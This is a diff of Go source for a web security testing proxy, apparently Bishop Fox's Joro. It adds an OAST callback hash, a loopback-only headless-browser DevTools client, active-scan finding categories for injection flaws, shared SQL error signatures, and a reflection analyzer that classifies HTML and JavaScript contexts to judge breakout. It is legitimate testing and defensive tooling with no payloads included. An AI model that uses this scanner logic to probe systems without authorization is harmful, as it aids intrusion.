// splitVerb returns the first whitespace-delimited token and the remainder.
+6 -1
View File
@@ -12,6 +12,10 @@ type Token struct {
Token string `json:"token"`
CreatedAt time.Time `json:"createdAt"`
HitCount int `json:"hitCount"`
// ResponseHash is the value the server returns on a correlated interaction,
// for an operator or OAST client to match against. Derived from Token, not a
// stored column — like HitCount, it is populated on read.
ResponseHash string `json:"expectedHash"`
}
// Interaction represents a recorded callback interaction (DNS or HTTP).
@@ -58,7 +62,7 @@ func (s *Store) CreateToken(id, note, hex string) (*Token, error) {
if err != nil {
return nil, err
}
return &Token{ID: id, Note: note, Token: hex, CreatedAt: now}, nil
return &Token{ID: id, Note: note, Token: hex, CreatedAt: now, ResponseHash: ResponseHash(hex)}, nil
}
// ListTokens returns all tokens with their hit counts.
@@ -81,6 +85,7 @@ func (s *Store) ListTokens() ([]Token, error) {
if err := rows.Scan(&t.ID, &t.Note, &t.Token, &t.CreatedAt, &t.HitCount); err != nil {
return nil, err
}
t.ResponseHash = ResponseHash(t.Token)
tokens = append(tokens, t)
}
return tokens, rows.Err()
+16
View File
@@ -2,6 +2,7 @@ package callback
import (
"crypto/rand"
"crypto/sha256"
"database/sql"
"encoding/hex"
"regexp"
@@ -13,6 +14,21 @@ import (
// run; we only ever use its first 16 chars.
var hexRunRe = regexp.MustCompile("[0-9a-fA-F]{16,}")
// ResponseHash is the deterministic value the callback server returns on a
// correlated interaction: the lowercase hex SHA-256 of the token's hex string.
//
// This is a stable external contract. An OAST client reproduces it with a plain
// sha256 of the token it embedded — sha256("<token>") — so observing this value
// (reflected in a target response, in a protocol field) proves the interaction
// actually reached this server for that specific token, rather than being a
// coincidental echo of the injected input. The input is the token's ASCII hex,
// not its 8 raw bytes, because that hex is what appears in the subdomain, path,
// or address a probe carries.
func ResponseHash(token string) string {
sum := sha256.Sum256([]byte(token))
return hex.EncodeToString(sum[:])
}
// GenerateToken creates a new token with a random 16-char hex identifier.
func GenerateToken(store *Store, name string) (*Token, error) {
b := make([]byte, 8)
+253
View File
@@ -0,0 +1,253 @@
// Package cdp is a minimal Chrome DevTools Protocol client: JSON-RPC 2.0 over a
// single WebSocket to a locally launched headless browser.
//
// It is hand-rolled on gorilla/websocket rather than vendoring chromedp or rod,
// the same choice internal/mcp (a hand-rolled JSON-RPC server) and the C2 clients
// make — the surface needed here is a handful of methods and two events, and a
// browser-automation dependency tree is a large supply-chain cost for that.
//
// # Threat model
//
// The client only ever connects to 127.0.0.1 on a port Joro itself just launched
// a browser with. A DevTools endpoint is unauthenticated and grants full control
// of the browser, so it must never be exposed off the loopback interface; the
// launch flags in internal/browser bind it to 127.0.0.1 and the dialer here
// refuses anything else. This mirrors the MCP listener's loopback-only posture.
//
// # Flat session
//
// The client attaches directly to one page target's debugger URL, so every
// command and event is for that page and no sessionId plumbing is needed. Driving
// several tabs would need Target.setAutoAttach and per-target sessions; a scan
// drives one page in sequence, so it does not.
package cdp
import (
"context"
"encoding/json"
"fmt"
"net/http"
"net/url"
"sync"
"time"
"github.com/gorilla/websocket"
)
// Client is a connection to one page target.
type Client struct {
conn *websocket.Conn
mu sync.Mutex
nextID int
pending map[int]chan rpcResponse
handlers map[string][]func(json.RawMessage)
closed bool
}
// rpcRequest is one outbound JSON-RPC command.
type rpcRequest struct {
ID int `json:"id"`
Method string `json:"method"`
Params any `json:"params,omitempty"`
}
// rpcResponse is a reply or an event. A message with an id is a reply to the
// command that carried that id; one without is an event named by Method.
type rpcResponse struct {
ID int `json:"id,omitempty"`
Result json.RawMessage `json:"result,omitempty"`
Error *rpcError `json:"error,omitempty"`
Method string `json:"method,omitempty"`
Params json.RawMessage `json:"params,omitempty"`
}
type rpcError struct {
Code int `json:"code"`
Message string `json:"message"`
}
func (e *rpcError) Error() string { return fmt.Sprintf("cdp error %d: %s", e.Code, e.Message) }
// targetInfo is one entry of the /json listing.
type targetInfo struct {
Type string `json:"type"`
WebSocketDebuggerURL string `json:"webSocketDebuggerUrl"`
}
// Connect discovers the page target on a loopback DevTools endpoint and opens a
// WebSocket to it. debugPort is the --remote-debugging-port the browser was
// launched with.
func Connect(ctx context.Context, debugPort int, timeout time.Duration) (*Client, error) {
wsURL, err := discoverPageWS(ctx, debugPort, timeout)
if err != nil {
return nil, err
}
dialer := websocket.Dialer{HandshakeTimeout: 15 * time.Second}
// Modern Chrome rejects a CDP WebSocket whose Origin is not allowlisted; the
// browser is launched with --remote-allow-origins=* (loopback only), and the
// matching Origin header is sent here.
hdr := http.Header{"Origin": {fmt.Sprintf("http://127.0.0.1:%d", debugPort)}}
conn, _, err := dialer.DialContext(ctx, wsURL, hdr)
if err != nil {
return nil, fmt.Errorf("cdp dial: %w", err)
}
c := &Client{
conn: conn,
pending: make(map[int]chan rpcResponse),
handlers: make(map[string][]func(json.RawMessage)),
}
go c.readLoop()
return c, nil
}
// discoverPageWS polls http://127.0.0.1:<port>/json until a page target appears,
// returning its WebSocket debugger URL. The browser writes the port and the
// listing only once it is ready, so a short poll is simpler than racing it.
func discoverPageWS(ctx context.Context, port int, timeout time.Duration) (string, error) {
deadline := time.Now().Add(timeout)
endpoint := fmt.Sprintf("http://127.0.0.1:%d/json", port)
var lastErr error
for time.Now().Before(deadline) {
if ctx.Err() != nil {
return "", ctx.Err()
}
ws, err := fetchPageWS(ctx, endpoint)
if err == nil && ws != "" {
return ws, nil
}
lastErr = err
select {
case <-ctx.Done():
return "", ctx.Err()
case <-time.After(200 * time.Millisecond):
}
}
if lastErr != nil {
return "", fmt.Errorf("cdp discovery timed out: %w", lastErr)
}
return "", fmt.Errorf("cdp discovery timed out: no page target on port %d", port)
}
func fetchPageWS(ctx context.Context, endpoint string) (string, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, nil)
if err != nil {
return "", err
}
resp, err := http.DefaultClient.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
var targets []targetInfo
if err := json.NewDecoder(resp.Body).Decode(&targets); err != nil {
return "", err
}
for _, t := range targets {
if t.Type == "page" && t.WebSocketDebuggerURL != "" {
if _, err := url.Parse(t.WebSocketDebuggerURL); err == nil {
return t.WebSocketDebuggerURL, nil
}
}
}
return "", nil
}
// readLoop dispatches replies to their waiting caller and events to handlers.
func (c *Client) readLoop() {
for {
var msg rpcResponse
if err := c.conn.ReadJSON(&msg); err != nil {
c.fail()
return
}
if msg.ID != 0 {
c.mu.Lock()
ch := c.pending[msg.ID]
delete(c.pending, msg.ID)
c.mu.Unlock()
if ch != nil {
ch <- msg
}
continue
}
if msg.Method != "" {
c.mu.Lock()
hs := append([]func(json.RawMessage){}, c.handlers[msg.Method]...)
c.mu.Unlock()
for _, h := range hs {
h(msg.Params)
}
}
}
}
// fail wakes every pending caller when the socket dies, so a Send cannot hang
// past the connection.
func (c *Client) fail() {
c.mu.Lock()
defer c.mu.Unlock()
if c.closed {
return
}
c.closed = true
for id, ch := range c.pending {
close(ch)
delete(c.pending, id)
}
}
// Send issues a command and waits for its reply (or the context's deadline).
func (c *Client) Send(ctx context.Context, method string, params any) (json.RawMessage, error) {
c.mu.Lock()
if c.closed {
c.mu.Unlock()
return nil, fmt.Errorf("cdp: connection closed")
}
c.nextID++
id := c.nextID
ch := make(chan rpcResponse, 1)
c.pending[id] = ch
c.mu.Unlock()
if err := c.conn.WriteJSON(rpcRequest{ID: id, Method: method, Params: params}); err != nil {
c.mu.Lock()
delete(c.pending, id)
c.mu.Unlock()
return nil, fmt.Errorf("cdp write %s: %w", method, err)
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case resp, ok := <-ch:
if !ok {
return nil, fmt.Errorf("cdp: connection closed during %s", method)
}
if resp.Error != nil {
return nil, resp.Error
}
return resp.Result, nil
}
}
// On registers a handler for a CDP event, e.g. "Runtime.bindingCalled". Handlers
// run on the read loop, so they must not block.
func (c *Client) On(method string, fn func(params json.RawMessage)) {
c.mu.Lock()
defer c.mu.Unlock()
c.handlers[method] = append(c.handlers[method], fn)
}
// Close tears down the socket.
func (c *Client) Close() {
c.mu.Lock()
already := c.closed
c.closed = true
c.mu.Unlock()
if !already {
_ = c.conn.Close()
}
}
+6
View File
@@ -64,6 +64,12 @@ type Config struct {
// engagement where nothing may leave the machine — a webhook is the one feature whose
// bytes go somewhere Joro's scope does not describe.
NoWebhooks bool
// NoFeeds disables the threat-intelligence feed fetcher entirely: no routes
// registered, no feeds.json read or written, no outbound request to NVD or CISA. A
// deployment-posture switch in the same family as NoWebhooks — the answer for an
// engagement where the operator's machine must make no incidental outbound calls.
// The feature is off by default regardless; this removes it outright.
NoFeeds bool
// NoPlugins skips loading plugins from ~/.joro/plugins/ — the files are still
// listed, so the UI can delete one, but no plugin code runs.
//
+69 -4
View File
@@ -115,19 +115,65 @@ const (
CategoryDisclosure Category = "disclosure"
CategoryHeaders Category = "headers"
CategoryCookies Category = "cookies"
// CategoryAnomaly holds outlier findings — an endpoint unlike its siblings on
// the same host. These come from internal/anomaly, not the rule engine, and
// are advisory triage aids rather than vulnerability claims.
CategoryAnomaly Category = "anomaly"
// CategoryReflection holds input that reaches the response in a position it
// can leave. These come from internal/echo, not the rule engine; a
// reflection that cannot escape its context is mapped there and never filed
// here.
CategoryReflection Category = "reflection"
// CategoryDOMXSS holds runtime-confirmed DOM-based cross-site scripting: a
// canary placed in a controllable DOM source (the URL fragment, a query
// value, window.name) that the page's own JavaScript carried into a dangerous
// sink. These come from internal/activescan driving a headless browser over
// CDP, not the passive rule engine — the payload never reaches the server, so
// no captured response could reveal it.
CategoryDOMXSS Category = "dom-xss"
// CategoryTemplate holds results from the template-signature rule: a crafted
// request Joro sent whose response matched a check mined from a nuclei template
// (an exposed file, a known-vulnerable fingerprint, a misconfiguration). It
// names the finding class, not the mechanism — DOM XSS is also active-scanned
// but is its own class (CategoryDOMXSS). Both come from internal/activescan,
// not the passive engine: the probe is sent, not observed in captured traffic.
CategoryTemplate Category = "template"
// The injection classes below come from internal/activescan's parameter-fuzzing
// rules: Joro injected a payload into a request parameter and confirmed the
// vulnerability from the response (reflection/breakout, DB error, boolean or
// timing differential, rendered expression, redirect, file contents) or an
// out-of-band callback. Each is its own class, not the mechanism.
CategoryReflectedXSS Category = "reflected-xss"
CategorySQLi Category = "sqli"
CategorySSTI Category = "ssti"
CategoryCommandInjection Category = "command-injection"
CategoryOpenRedirect Category = "open-redirect"
CategoryPathTraversal Category = "path-traversal"
// CategoryOOB holds confirmed out-of-band interactions: a callback canary
// (sha256 of an OAST token) the callback server computed and that then appeared
// in captured traffic. It comes from internal/oast, not the passive engine —
// the value is proof the target reached the callback server for that probe, so
// a reflection of it is a server-side interaction rather than an echo of input.
CategoryOOB Category = "oob"
)
// Categories lists every category. See Severities.
var Categories = []Category{
CategorySecrets, CategoryPII, CategoryCredentials, CategoryAccess,
CategoryDisclosure, CategoryHeaders, CategoryCookies,
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
CategoryOpenRedirect, CategoryPathTraversal, CategoryOOB,
}
// Valid reports whether c is a known category.
func (c Category) Valid() bool {
switch c {
case CategorySecrets, CategoryPII, CategoryCredentials, CategoryAccess,
CategoryDisclosure, CategoryHeaders, CategoryCookies:
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
CategoryOpenRedirect, CategoryPathTraversal, CategoryOOB:
return true
}
return false
@@ -137,7 +183,10 @@ func (c Category) Valid() bool {
func AllCategories() []Category {
return []Category{
CategorySecrets, CategoryCredentials, CategoryPII, CategoryAccess,
CategoryDisclosure, CategoryHeaders, CategoryCookies,
CategoryDisclosure, CategoryHeaders, CategoryCookies, CategoryAnomaly,
CategoryReflection, CategoryDOMXSS, CategoryTemplate,
CategoryReflectedXSS, CategorySQLi, CategorySSTI, CategoryCommandInjection,
CategoryOpenRedirect, CategoryPathTraversal, CategoryOOB,
}
}
@@ -389,6 +438,15 @@ type Config struct {
// ExcludeHosts suppresses findings whose host contains any of these
// substrings.
ExcludeHosts []string `json:"excludeHosts"`
// AnomalyEnabled turns on per-host outlier detection (internal/anomaly),
// which writes anomaly-category findings into this same store. Off by default:
// it needs a baseline of traffic before it is useful.
AnomalyEnabled bool `json:"anomalyEnabled"`
// AnomalySensitivity tunes the outlier thresholds: "low" (only stark
// outliers), "medium" (default), or "high" (more, noisier). An empty or
// unknown value normalizes to "medium".
AnomalySensitivity string `json:"anomalySensitivity"`
}
// DefaultOHTTPContentTypes are the Oblivious HTTP media types never scanned.
@@ -418,7 +476,9 @@ func DefaultConfig() Config {
".mp4", ".webm", ".mp3", ".wav", ".ogg", ".avi", ".mov",
".zip", ".gz", ".bz2", ".7z", ".rar", ".pdf", ".wasm",
},
ExcludeHosts: []string{},
ExcludeHosts: []string{},
AnomalyEnabled: false,
AnomalySensitivity: "medium",
}
}
@@ -441,6 +501,11 @@ func (c *Config) normalize() {
if c.ExcludeHosts == nil {
c.ExcludeHosts = []string{}
}
switch c.AnomalySensitivity {
case "low", "medium", "high":
default:
c.AnomalySensitivity = "medium"
}
}
// Summary aggregates the findings store for the dashboard header and for the
+8 -12
View File
@@ -897,30 +897,26 @@ func disclosureRules() []Rule {
},
// SQL errors, one rule per engine so the finding names the DBMS.
// Patterns are shared with the active SQLi rule via sqlerror.go so the two
// never drift.
sqlErr("sql-error-mysql", "MySQL error disclosed",
"A MySQL or MariaDB error reaching the client. The message discloses fragments of the query, and because unsanitized input provoked it, marks the parameter as a SQL injection candidate.",
"",
`(?i)(?:You have an error in your SQL syntax|Warning: mysqli?_[a-z_]+\(\)|MySQLSyntaxErrorException|com\.mysql\.(?:jdbc|cj)|check the manual that corresponds to your (?:MySQL|MariaDB))`),
"", SQLErrMySQL),
sqlErr("sql-error-postgres", "PostgreSQL error disclosed",
"A PostgreSQL error reaching the client. PSQLException and unterminated-string text disclose query structure and mark the parameter as a SQL injection candidate.",
"",
`(?i)(?:PG::[A-Za-z]+Error|org\.postgresql\.util\.PSQLException|pg_query\(\)|unterminated quoted string at or near|invalid input syntax for)`),
"", SQLErrPostgres),
sqlErr("sql-error-mssql", "SQL Server error disclosed",
"A Microsoft SQL Server error reaching the client. Unclosed-quotation and syntax-near messages disclose query structure and mark the parameter as a SQL injection candidate.",
"",
`(?i)(?:Unclosed quotation mark after the character string|Incorrect syntax near|System\.Data\.SqlClient\.SqlException|Microsoft OLE DB Provider for SQL Server|\[SQL Server\])`),
"", SQLErrMSSQL),
sqlErr("sql-error-oracle", "Oracle error disclosed",
"An Oracle ORA- error code reaching the client. The code identifies the failure precisely and marks the parameter as a SQL injection candidate.",
"ora-",
`\b(ORA-\d{5})\b`),
"ora-", SQLErrOracle),
sqlErr("sql-error-sqlite", "SQLite error disclosed",
"A SQLite error reaching the client. Unrecognized-token and no-such-table messages disclose schema names and mark the parameter as a SQL injection candidate.",
"",
`(?i)(?:SQLite3?::[A-Za-z]+|sqlite3\.(?:Operational|Programming)Error|SQLITE_ERROR|unrecognized token:|no such table:)`),
"", SQLErrSQLite),
sqlErr("sql-error-odbc", "ODBC/JET database error disclosed",
"An ODBC, JET, or DB2 error reaching the client, including PDO SQLSTATE codes. The driver-level message discloses query structure and marks the parameter as a SQL injection candidate.",
"",
`(?i)(?:\[Microsoft\]\[ODBC|Microsoft JET Database Engine|DB2 SQL error|SQLSTATE\[[0-9A-Z]{5}\])`),
"", SQLErrODBC),
// Version and technology fingerprints.
{
+42
View File
@@ -0,0 +1,42 @@
package detect
import "regexp"
// Database-error signatures, one per DBMS. These are the single source of truth
// shared by the passive sql-error-* rules (rules_builtin.go) and the active
// SQL-injection rule (internal/activescan/sqli), which runs them against a probe
// response to confirm error-based SQLi. Keeping one copy stops the two from
// drifting.
const (
SQLErrMySQL = `(?i)(?:You have an error in your SQL syntax|Warning: mysqli?_[a-z_]+\(\)|MySQLSyntaxErrorException|com\.mysql\.(?:jdbc|cj)|check the manual that corresponds to your (?:MySQL|MariaDB))`
SQLErrPostgres = `(?i)(?:PG::[A-Za-z]+Error|org\.postgresql\.util\.PSQLException|pg_query\(\)|unterminated quoted string at or near|invalid input syntax for)`
SQLErrMSSQL = `(?i)(?:Unclosed quotation mark after the character string|Incorrect syntax near|System\.Data\.SqlClient\.SqlException|Microsoft OLE DB Provider for SQL Server|\[SQL Server\])`
SQLErrOracle = `\b(ORA-\d{5})\b`
SQLErrSQLite = `(?i)(?:SQLite3?::[A-Za-z]+|sqlite3\.(?:Operational|Programming)Error|SQLITE_ERROR|unrecognized token:|no such table:)`
SQLErrODBC = `(?i)(?:\[Microsoft\]\[ODBC|Microsoft JET Database Engine|DB2 SQL error|SQLSTATE\[[0-9A-Z]{5}\])`
)
type sqlErrorSig struct {
engine string
re *regexp.Regexp
}
var sqlErrorSigs = []sqlErrorSig{
{"MySQL", regexp.MustCompile(SQLErrMySQL)},
{"PostgreSQL", regexp.MustCompile(SQLErrPostgres)},
{"SQL Server", regexp.MustCompile(SQLErrMSSQL)},
{"Oracle", regexp.MustCompile(SQLErrOracle)},
{"SQLite", regexp.MustCompile(SQLErrSQLite)},
{"ODBC/JET/DB2", regexp.MustCompile(SQLErrODBC)},
}
// MatchSQLError reports whether body contains a database engine's error message,
// returning the engine name and the matched text as evidence.
func MatchSQLError(body []byte) (engine, evidence string, ok bool) {
for _, s := range sqlErrorSigs {
if loc := s.re.FindString(string(body)); loc != "" {
return s.engine, loc, true
}
}
return "", "", false
}
+193
View File
@@ -0,0 +1,193 @@
package echo
import (
"bytes"
"github.com/BishopFox/joro/internal/detect"
"github.com/BishopFox/joro/internal/proxy"
)
// ParseConfig is the detect configuration this engine parses with. It is not
// the operator's detect configuration and must not be: detect.Parse fills
// ReqBody only when ScanRequests is set, so borrowing a configuration with it
// off would leave every body parameter unseen and the map silently half empty.
func ParseConfig(cfg Config) detect.Config {
return detect.Config{
ScanRequests: true,
MaxBodyScanBytes: cfg.MaxBodyScanBytes,
MaxRequestBodyScanBytes: cfg.MaxRequestBodyScanBytes,
}
}
// Analyze maps one captured message. It never sends and never mutates its
// input.
func Analyze(r *proxy.CapturedRequest, cfg Config) *Report {
cfg.Normalize()
m := detect.Parse(r, ParseConfig(cfg))
rep := &Report{
RequestID: r.ID,
Seq: r.Seq,
Host: m.Host,
Method: r.Method,
URL: r.URL,
Timestamp: r.Timestamp,
}
values := Walk(m, cfg)
rep.Values = len(values)
if len(values) == 0 {
return rep
}
// Dedupe needles: two parameters carrying the same value are one search
// with two owners, and the automaton must not hold the same string twice.
index := map[string][]int{}
var needles []string
for i, v := range values {
if !admit(v.Value, cfg) {
continue
}
if _, seen := index[v.Value]; !seen {
needles = append(needles, v.Value)
}
index[v.Value] = append(index[v.Value], i)
}
rep.Needles = len(needles)
ac := newMatcher(needles)
if ac == nil {
return rep
}
// seen keys a reflection by needle and source offset, so a region that is
// byte-identical across two views is reported once, under the least decoded
// transform. The identity view is searched first for exactly that reason.
seen := map[[2]int]bool{}
capped := false
record := func(buf []byte, v view, idx int32, start, end int, base int, coord string, part string, spans []ctxSpan) bool {
if len(rep.Reflections) >= cfg.MaxReflectionsPerRequest {
capped = true
return false
}
srcStart, srcEnd := v.at(start), v.at(end)
key := [2]int{int(idx), srcStart}
if seen[key] {
return true
}
seen[key] = true
s := sink{ctx: ContextHeaderValue}
if spans != nil {
s = sinkAt(spans, srcStart)
}
sur := survivedChars(v, start, end)
// The snippet is cut from the buffer the offsets index, so it is correct
// regardless of coord: gzip bodies share no coordinates with the raw
// document, which is why the window cannot be reconstructed client-side.
snip, match := buildSnippet(buf, srcStart, srcEnd)
val := ac.needles[idx]
for _, vi := range index[val] {
src := values[vi]
rep.Reflections = append(rep.Reflections, Reflection{
Source: src.Source, Name: src.Name, Value: val,
Transform: v.kind, Context: s.ctx, JSContext: s.js,
Attr: s.attr, Quote: s.quote,
Part: part, Coord: coord,
Span: Span{Start: base + srcStart, End: base + srcEnd},
Survived: sur,
Breakout: breakout(s, sur),
Confidence: confidence(val),
RequestID: rep.RequestID, URL: rep.URL,
Snippet: snip, SnippetMatch: match,
})
}
return true
}
// The response header block: where an injected line break and an echoed
// redirect target land, and a document a browser acts on before the body.
if len(m.RespRawHdr) > 0 {
for _, v := range buildViews(m.RespRawHdr, cfg) {
ac.find(v.b, func(idx int32, s, e int) bool {
return record(m.RespRawHdr, v, idx, s, e, 0, "raw", "response", nil)
})
if capped {
break
}
}
}
if m.BodyScannable && len(m.RespBody) > 0 && !capped {
spans := classify(m.RespBody, detect.ContentTypeKeyword(m.ContentType))
// A decompressed body shares no coordinates with the raw document, so
// the offsets are declared against the decoded body instead of being
// dropped: gzip is the common case and losing it would gut the map.
base, coord := m.RespBodyStart, "raw"
if m.RespBodyDecoded {
base, coord = 0, "decoded-body"
}
for _, v := range buildViews(m.RespBody, cfg) {
ac.find(v.b, func(idx int32, s, e int) bool {
return record(m.RespBody, v, idx, s, e, base, coord, "response", spans)
})
if capped {
break
}
}
}
rep.Truncated = capped || m.Truncated
for _, rf := range rep.Reflections {
if rf.Breakout {
rep.Breakouts++
}
}
sortReflections(rep.Reflections)
return rep
}
// sortReflections orders a report for display and for a stable finding
// signature: breakouts first, then by confidence, then by position.
func sortReflections(rs []Reflection) {
rank := map[Confidence]int{ConfidenceHigh: 0, ConfidenceMedium: 1, ConfidenceLow: 2}
less := func(a, b Reflection) bool {
if a.Breakout != b.Breakout {
return a.Breakout
}
if rank[a.Confidence] != rank[b.Confidence] {
return rank[a.Confidence] < rank[b.Confidence]
}
if a.Span.Start != b.Span.Start {
return a.Span.Start < b.Span.Start
}
return a.Name < b.Name
}
// Insertion sort: a report is capped at a few hundred entries and this
// keeps the comparison in one place.
for i := 1; i < len(rs); i++ {
for j := i; j > 0 && less(rs[j], rs[j-1]); j-- {
rs[j], rs[j-1] = rs[j-1], rs[j]
}
}
}
// HostExcluded reports whether a host is on the exclusion list. Matching is a
// case-insensitive substring, as it is in detect, so "cdn." covers every CDN
// host on the engagement.
func HostExcluded(host string, exclude []string) bool {
if len(exclude) == 0 {
return false
}
h := bytes.ToLower([]byte(host))
for _, e := range exclude {
if e == "" {
continue
}
if bytes.Contains(h, bytes.ToLower([]byte(e))) {
return true
}
}
return false
}
+375
View File
@@ -0,0 +1,375 @@
package echo
import (
"bytes"
"sort"
"strings"
)
// The context scanner answers what a browser would do with these bytes, not
// what the specification says they mean. That is why it is hand-rolled rather
// than built on x/net/html, which is already in the module graph: a conforming
// tree builder normalizes exactly the malformed markup an injection produces,
// does not expose byte offsets for attribute values, and recovers from errors
// by a different rule than the parser that will actually run the reflection.
//
// One pass produces a sorted, gapless span list; each reflection then binary
// searches it. Re-deriving the context per match would reparse the document
// once per reflection, and a page that reflects a value forty times is common.
// ctxSpan is one run of bytes sharing a syntactic position.
type ctxSpan struct {
start, end int
ctx Context
js JSContext
attr string
quote string
// valStart is where the enclosing attribute's value begins, so a reflection
// can tell whether it controls the start of a URL.
valStart int
}
// classify scans a response body into spans. ct is the simplified content-type
// keyword from detect.ContentTypeKeyword.
func classify(body []byte, ct string) []ctxSpan {
switch ct {
case "html", "xml":
return classifyHTML(body)
case "json":
return classifyJSON(body)
default:
if looksHTML(body) {
return classifyHTML(body)
}
return []ctxSpan{{start: 0, end: len(body), ctx: ContextPlain}}
}
}
// looksHTML catches a document served as text/plain or with no type at all that
// a browser will still sniff and render.
func looksHTML(b []byte) bool {
head := b
if len(head) > 1024 {
head = head[:1024]
}
l := bytes.ToLower(head)
return bytes.Contains(l, []byte("<html")) || bytes.Contains(l, []byte("<!doctype html")) ||
bytes.Contains(l, []byte("<body")) || bytes.Contains(l, []byte("<div"))
}
type spanWriter struct {
spans []ctxSpan
at int
}
// emit closes the run ending at end. Adjacent runs sharing every attribute are
// merged, which keeps a page of plain text to a single span.
func (w *spanWriter) emit(end int, s ctxSpan) {
if end <= w.at {
return
}
s.start, s.end = w.at, end
if n := len(w.spans); n > 0 {
p := &w.spans[n-1]
if p.end == s.start && p.ctx == s.ctx && p.js == s.js &&
p.attr == s.attr && p.quote == s.quote && p.valStart == s.valStart {
p.end = s.end
w.at = end
return
}
}
w.spans = append(w.spans, s)
w.at = end
}
func classifyHTML(b []byte) []ctxSpan {
w := &spanWriter{}
i := 0
for i < len(b) {
if b[i] != '<' {
i++
continue
}
// A '<' not followed by a name, '/', '!' or '?' is literal text to a
// browser, so it is left in the text run.
if i+1 >= len(b) || !startsMarkup(b[i+1]) {
i++
continue
}
w.emit(i, ctxSpan{ctx: ContextHTMLText})
if bytes.HasPrefix(b[i:], []byte("<!--")) {
end := bytes.Index(b[i+4:], []byte("-->"))
if end < 0 {
w.emit(len(b), ctxSpan{ctx: ContextHTMLComment})
return w.spans
}
i = i + 4 + end + 3
w.emit(i, ctxSpan{ctx: ContextHTMLComment})
continue
}
if b[i+1] == '!' || b[i+1] == '?' {
end := bytes.IndexByte(b[i:], '>')
if end < 0 {
w.emit(len(b), ctxSpan{ctx: ContextHTMLComment})
return w.spans
}
i += end + 1
w.emit(i, ctxSpan{ctx: ContextHTMLComment})
continue
}
j := i + 1
closing := false
if j < len(b) && b[j] == '/' {
j++
closing = true
}
nameStart := j
for j < len(b) && isNameByte(b[j]) {
j++
}
name := strings.ToLower(string(b[nameStart:j]))
w.emit(j, ctxSpan{ctx: ContextTagName})
j = scanAttrs(b, j, w)
i = j
// A raw-text element's content is not markup; everything up to its own
// end tag belongs to the element, including any '<' inside it. Only an
// opening tag enters that mode: the element's own end tag carries the
// same name, and treating it as an opening one would swallow the rest
// of the document.
if !closing && (name == "script" || name == "style") {
closeAt := findRawTextEnd(b, i, name)
if name == "script" {
scanJS(b, i, closeAt, w)
} else {
w.emit(closeAt, ctxSpan{ctx: ContextStyle})
}
i = closeAt
}
}
w.emit(len(b), ctxSpan{ctx: ContextHTMLText})
return w.spans
}
func startsMarkup(c byte) bool {
return c == '/' || c == '!' || c == '?' ||
c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z'
}
func isNameByte(c byte) bool {
return c >= 'a' && c <= 'z' || c >= 'A' && c <= 'Z' ||
c >= '0' && c <= '9' || c == '-' || c == '_' || c == ':' || c == '.'
}
// scanAttrs walks a tag's attribute list from just past the tag name, returning
// the offset just past the closing '>'.
func scanAttrs(b []byte, i int, w *spanWriter) int {
for i < len(b) {
for i < len(b) && isSpace(b[i]) {
i++
}
if i >= len(b) {
break
}
if b[i] == '>' {
i++
w.emit(i, ctxSpan{ctx: ContextTagName})
return i
}
if b[i] == '/' {
i++
continue
}
nameStart := i
for i < len(b) && !isSpace(b[i]) && b[i] != '=' && b[i] != '>' {
i++
}
attr := strings.ToLower(string(b[nameStart:i]))
w.emit(i, ctxSpan{ctx: ContextAttrName})
for i < len(b) && isSpace(b[i]) {
i++
}
if i >= len(b) || b[i] != '=' {
continue
}
i++ // '='
for i < len(b) && isSpace(b[i]) {
i++
}
if i >= len(b) {
break
}
w.emit(i, ctxSpan{ctx: ContextAttrName})
quote := ""
if b[i] == '"' || b[i] == '\'' {
quote = string(b[i])
i++
w.emit(i, ctxSpan{ctx: ContextAttrName})
valStart := i
end := bytes.IndexByte(b[i:], quote[0])
if end < 0 {
w.emit(len(b), ctxSpan{ctx: ContextAttrValue, attr: attr, quote: quote, valStart: valStart})
return len(b)
}
i += end
w.emit(i, ctxSpan{ctx: ContextAttrValue, attr: attr, quote: quote, valStart: valStart})
i++ // closing quote
w.emit(i, ctxSpan{ctx: ContextAttrName})
continue
}
valStart := i
for i < len(b) && !isSpace(b[i]) && b[i] != '>' {
i++
}
w.emit(i, ctxSpan{ctx: ContextAttrValue, attr: attr, valStart: valStart})
}
w.emit(len(b), ctxSpan{ctx: ContextTagName})
return len(b)
}
func isSpace(c byte) bool {
return c == ' ' || c == '\t' || c == '\n' || c == '\r' || c == '\f'
}
// findRawTextEnd locates the element's end tag. A browser closes a raw-text
// element on the first case-insensitive "</name" regardless of what precedes
// it, including inside a string literal, which is why a reflection that can
// write "</script" escapes the block whatever the JavaScript around it says.
func findRawTextEnd(b []byte, from int, name string) int {
needle := []byte("</" + name)
for i := from; i < len(b); i++ {
if b[i] != '<' {
continue
}
if i+len(needle) <= len(b) && bytes.EqualFold(b[i:i+len(needle)], needle) {
return i
}
}
return len(b)
}
// scanJS sub-classifies a script block. Regular-expression literals are read as
// code: telling one from a division needs the preceding token's grammar, and
// guessing wrong would mislabel ordinary arithmetic as a literal.
func scanJS(b []byte, from, to int, w *spanWriter) {
i := from
for i < to {
c := b[i]
switch {
case c == '/' && i+1 < to && b[i+1] == '/':
w.emit(i, ctxSpan{ctx: ContextScript, js: JSCode})
end := bytes.IndexByte(b[i:to], '\n')
if end < 0 {
i = to
} else {
i += end
}
w.emit(i, ctxSpan{ctx: ContextScript, js: JSComment})
case c == '/' && i+1 < to && b[i+1] == '*':
w.emit(i, ctxSpan{ctx: ContextScript, js: JSCode})
end := bytes.Index(b[i+2:to], []byte("*/"))
if end < 0 {
i = to
} else {
i = i + 2 + end + 2
}
w.emit(i, ctxSpan{ctx: ContextScript, js: JSComment})
case c == '"' || c == '\'' || c == '`':
w.emit(i+1, ctxSpan{ctx: ContextScript, js: JSCode})
js := JSStringDouble
switch c {
case '\'':
js = JSStringSingle
case '`':
js = JSTemplate
}
i = scanJSString(b, i+1, to, c)
w.emit(i, ctxSpan{ctx: ContextScript, js: js})
if i < to {
i++
w.emit(i, ctxSpan{ctx: ContextScript, js: JSCode})
}
default:
i++
}
}
w.emit(to, ctxSpan{ctx: ContextScript, js: JSCode})
}
